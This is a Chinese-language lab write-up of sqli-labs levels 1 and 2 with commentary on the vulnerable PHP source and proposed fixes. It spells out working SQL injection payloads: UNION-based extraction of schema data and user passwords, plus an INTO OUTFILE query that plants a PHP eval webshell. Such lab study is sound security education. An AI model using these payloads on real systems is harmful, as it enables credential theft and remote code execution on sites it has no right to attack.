SQLi靶场
SQLi靶场 less1- less2 (详细讲解)
less 1 Error Based-String (字符类型注入)
思路分析
判断是否存在SQL注入
已知参数名为id
,输入数值
和‘
单引号‘’
双引号来判断,它是数值类型还是字符类型
首先输入 1
,
发现能能正常显示,使用四则运算进一步测试。
输入?id=4-3 发现内容有变化,判断不是数值类型SQL,继续测试字符型输入单引号‘
‘
在经过URL编码后显示为%27
,发现页面出现报错信息。初步判断可能是字符型SQL语句输入两个’
单引号查看是否能闭合语句.
页面有明显变化,报错信息消失,返回空信息,判断为字符型SQL注入,构造字符类型永真语句,继续测试。
?id=' or 1=1 --+
%27 为 单引号 URL编码, %20 为 空格 URL编码
输入字符永真POC后,回显一条数据,但是并没有爆出该字段所有信息,后端应该对此做了限制。
注入攻击
知识回顾
先了解攻击需要使用的一些函数以及mysql系统表:
order by
:在SQL语法中,用于排序,SQL注入攻击中可以用于爆破字段数量
union
在SQL语法中,用于联合查询,SQL注入攻击中可用于爆破特殊信息
database()
用于返回当前正在使用的数据库的名称。
version()
用于返回当前MySQL服务器的版本号。
concat()
用于将多个字符串连接在一起。
group_concat()
将多个列连在一起
information_schema
该表为mysql的系统默认表,其中包含了关于MySQL服务器和数据库的元数据信息。这个数据库不存储用户数据,而是存储关于数据库架构、表、列、索引等信息的数据。
information_schema.tables
:这个表存储了有关所有数据库中的表的信息,包括表名、数据库名、表的类型(如表、视图等)、表的引擎(如InnoDB、MyISAM等)、创建时间、更新时间等。information_schema.columns
:这个表包含了有关所有表中列(字段)的信息,包括列名、列的数据类型、是否为主键、是否允许 NULL 值等。information_schema.schemata
:这个表列出了所有数据库的信息,包括数据库名、默认字符集、默认排序规则等。information_schema.routines
:这个表包含有关存储过程和函数的信息,包括它们的名称、类型、定义等。information_schema.views
:这个表包含有关视图(虚拟表)的信息,包括视图名、所属数据库等。information_schema.key_column_usage
:这个表包含了关于表的外键的信息,包括外键名、所属表、所引用的表等。information_schema.table_constraints
:这个表包含了有关表的约束(如主键、唯一约束等)的信息。
使用order by
爆破 SELECT语句中的字段数量
?id= ' order by 4 --+ //poc
报错字段数量,将数值继续向小的改
数值 改成 3,发现页面变化,并没有报错,回显一个空表单,这是因为,前段查询语句是查了一个空语句,所以返回空表,查询语句如下
SELECT * FROM tables_name WHERE id='' order by 3
使用union
获取用户数据、当前数据库名、版本信息
以知 原始查询语句的字段数为3,使用union
来构造一个POC判断我们获取的字符数是否正确。
?id=' union SELECT 1,2,3 --+
从中发现,回显正确,并显示我们查询了的内容,但是第一个字段好像被隐藏了,第二个、第三个字段都成功回显。
进一步爆破出用户名、当前数据库名。构造POC:
?id=' union SELECT 1,user(),database() --+
爆破成功,这里有一点需要注意,在闭合第一个引号的时候,内部一定不要使用真值(能真实查询到的数据),因为这里系统会把默认查询到的第一行数据,优先显示到页面,在后面的源码分析中,在仔细研究其中原理。例如下面这个例子:
我把闭合的单引号,放入了真值,直接回显了这个真值查询的数据。
爆破数据库表和列名
使用mysql的系统表information_schema
来波破改数据库中已存的表名和列名。
?id=' UNION select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
这个POC ,主要是从 information_schema.tables
表中选择了 security
数据库中的表名,并使用 GROUP_CONCAT
将它们连接成一个字符串。
然而我们可以继续对这个POC进行改造,
?id='union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
这个POC,就获取了information_schema.colunms
中所有的table_name
为users的所有字段
根据这个POC返回的信息,在进一步的构造POC,就能拿到敏感数据,
?id=' UNION SELECT 1,group_concat(username,ID,password),3 from users--+
这样就已经完成了一次成功的SQL注入,并获取了敏感信息。
思路总结
在学习SQL注入时,要对SQL的语法有大致上的了解,并且越熟练越好,在进行注入前要仔细分析,它使用的什么类型的SQL语句,以便对症下药,确定类型后,如果是查询类的注入,还要去分析出源语句中,使用了几个字段,当掌握这些信息后,就开始考虑如何闭合语句。基本流程如下:
- 判断SQL语句类型
- 构造永真POC判断是否存在SQL注入
- 爆破源语句字段数量
- 爆破成功后即可进行攻击
源码分析
<?php
include("../sql-connections/sql-connect.php");
//包含上级目录的用于数据链接的php代码
error_reporting(0);
//这行代码关闭了PHP错误报告,这意味着即使代码中有错误,也不会在网页上显示错误消息。
if(isset($_GET['id']))
// 判断是否获取到GET的参数,接收到参数执行以下语句,未接收到执行报错
{
$id=$_GET['id'];
//将GET传递的参数赋值给$id
$fp=fopen('result.txt','a');
//打开一个文件result.txt以用于记录。 'a' 参数表示以追加模式打开文件,如果文件不存在,将创建一个新文件。
fwrite($fp,'ID:'.$id."\n");
// 向$fp文件内写入数据,ID 和$id的字符串拼接
fclose($fp);
// 释放文件资源
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//创建一个字符串变量,存储一条SQL查询语句,并把 $id 作为参数传入到语句的WHERE参数中
$result=mysql_query($sql);
//使用 $result 来接收 mysql_query($sql)函数查询的结果
$row = mysql_fetch_array($result);
// $row是一个数组变量,它使用mysql_fetch_array()来取出SQL查询结果的每一行数据
if($row)
//判断$row 中是否有数据,有数据则执行以下语句,没数据则执行sql报错信息
{
echo "<font size='5' color= '#99FF00'>";
//CSS样式
echo 'Your Login name:'. $row['username'];
//$row数组中的 username 值
echo "<br>";
//换行
echo 'Your Password:' .$row['password'];
//$row数组中 password 值
echo "</font>";
// css样式结束标记
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
分析该源码我发现以下问题:
-
在第7行使用GET方法传入的参数没有任何验证。
-
解决办法 :对用户输出数据进行验证,并转变为需要处理的类型
-
if (isset($_GET['id']) && is_numeric($_GET['id'])) { //判断GET方法传入的参数是否是正确的类型 $id = (int)$_GET['id']; // 确定为正确的类型在后端继续对该值再度进行转换操作 } else { echo "请输入一个正确的数值."; }
-
-
在46行,使用了mysql_error() 来回显SQL的报错信息。
-
解决办法:sql的报错信息不能暴露,应该保存在后台,前端的报错应该由管理员自己定义。
-
else { echo "发生错误。请稍后重试。"; error_log(mysql_error()); // 记录错误信息到日志文件 }
-
这里是我的才疏学浅,只能加了简单验证,但是这个验证逻辑是越复杂越好,根据实际情况去编写即可。
在之前说的在本关卡中,每次只能显示一行的数据,这是因为mysql_fetch_array()
这个函数, 函数的作用是从结果集中获取一行数据,并将该数据存储在数组中,因此每次调用它都会获取一行数据。这是为了逐行处理查询结果。如果要在前段显示全部内容,就一定要在加上一个循环去打印渲染每一条语句。
less 2 Error based - Intiger based (数值类型注入)
思路分析
判断SQL类型
一、输入数值1
和四则运算判断它是不是数值类型:
输入1
页面由变化,回显id=1的数据。
输入数值四则运算4-3
,查看返回结果,回显结果无变化,由此判断为数值类型SQL语句,
二、使用永真POC,进行判断是否存在SQL注入。
?id=-1 or 1=1
输入语句后,页面没变化,无报错,该字段的值也没有全部爆出,判断大概率使用了mysql_fetch_array()
函数。
OR
逻辑运算符的优先级是最低的,AND
逻辑运算符优先级比OR
高,而NOT
的逻辑运算符的优先级是最高的。在SQL语句中
OR
运算符有一个特性,当第一个条件为真时,第二个条件默认不在执行。这是因为在这种情况下,整个
OR
表达式已经被确定为真,无论第二个条件的值如何,都不会改变整个表达式的结果。这种短路逻辑有助于提高查询性能,因为不必评估多余的条件。
三、使用ORDER BY
判断源语句字段数量
?id=-1 ORDER BY 4 #
ORDER BY
的值是4 报错了,源语句中的字段数量要少于4
当数值是3,因为这是一条正常的语句 所以回显了id=1的数据,这代表这 SQL语句是正确的,源语句的字段数应该就是3个。
?id=1 ORDER BY 3 #
四、使用UNION
确定字段数量
?id=-1 UNION SELECT 1,2,3 --+
在这一步需要将id的值设为假,以便测试,每个字段存在的位置。
确定无问题,准备注入攻击。
注入攻击
一、获取用户名user()、数据库名database()
?id=-1 UNION SELECT 1,user(),database() --+
二、使用Mysqlinformation_schema
库,获取更多信息
获取数据库中的所有表名:
?id=-1 UNION SELECT 1,group_concat(table_name),database() FROM information_schema.tables WHERE table_schema=database() --+
在此处,我们使用database()替代了security
,因为database()返回的值就是它。在SQL语句 函数的执行优先级高于其他语句,而且可以用于动态地获取一些信息。
获取users
中的所有字段名字:
?id=-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns WHERE table_name = 'users' --+
从username、password中获取敏感信息
?id=-1 UNION SELECT 1,group_concat(username,id,password),version() from users --+
POC中 group_concat()函数中只用于隔断username和password,使得账号和密码显示的更为清楚。
成功爆破,所有账号密码。
向数据库中注入webshell
?id=-1 UNION SELECT 1,'<?php @eval($POST[cmd]);?>',3 into outfile './web.php' --+
这个注入是有条件的,mysql数据库必须开启secure_file_priv
,否则就会报错。
secure_file_priv
是 MySQL 数据库服务器的配置选项之一,用于指定允许加载文件的安全目录。这个选项的目的是增强 MySQL 服务器的安全性,以限制用户在服务器上加载文件的位置,以防止潜在的安全风险。具体来说,
secure_file_priv
选项定义了一个目录路径,MySQL 服务器只允许用户在这个指定的目录或其子目录下加载文件。这意味着用户不能在不被允许的目录中执行文件加载操作。这有助于防止恶意用户滥用文件加载功能,执行危险的操作或访问敏感文件。修改 my.cnf 文件,在 [mysqld] 块下,如果没有 secure_file_priv 则新增
指定目录:secure_file_priv=/path/to/data
不限目录:secure_file_priv=
禁止操作:secure_file_priv=NULL
测试需求,我们直接添加一个不限制目录的配置继续测试。
开启secure_file_priv
后重启数据库,继续测试
发现页面错误消失了,由于我们并没有查询任何内容,所以返回空表,在测试我们的webshell有没有成功上传!
./代表本级目录,而在这里则表示上传到mysql的本级目录,它不在sqli靶场的目录,又因为跨源的问题,也没有文件包含漏洞,我们不能直接利用
再次为了演示,就直接在注入一个webshell到sqli靶场目录中 进行测试。
?id=-1 UNION SELECT 1,'<?php phpinfo();?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php' --+
这里还要强调以下,在MySQL中,单独以个\
都被会认为是一个转义字符,所以我们要对这个\
在做一次转义 ,在加上一个\
就ok了
在MySQL中,INTO OUTFILE
是用于将查询结果写入文件的操作。它是在SELECT
语句中使用的一种扩展。
这是操作的一般执行顺序:
SELECT
:首先,执行SELECT
语句以获取结果集。INTO OUTFILE
:然后,将结果集中的数据写入指定的文件,使用INTO OUTFILE
子句。这个子句告诉MySQL将查询结果写入到一个文件中,该文件由路径和文件名指定。
SELECT 1,'<?php phpinfo();?>',3 INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php'
这个查询选择了三个值(1、‘<?php phpinfo();?>’、3)并将它们写入了 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php'
这个文件中。
思路总结
在这一关总体思路与第一关基本一致,只不过在本关中使用的是数值内省SQL语句,在闭合语句方面不用考虑引号等关系。
介绍了mysql的一个安全配置项secure_file_priv
,它是用来控制文件加载目的选项,在没有特殊要求的情况下,建议关闭该功能。
源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
本关的源码与第一关基本一致,唯一不同的点就是在 SQL语句中没有给变量$id
引号。思路会院借鉴第一关的思路。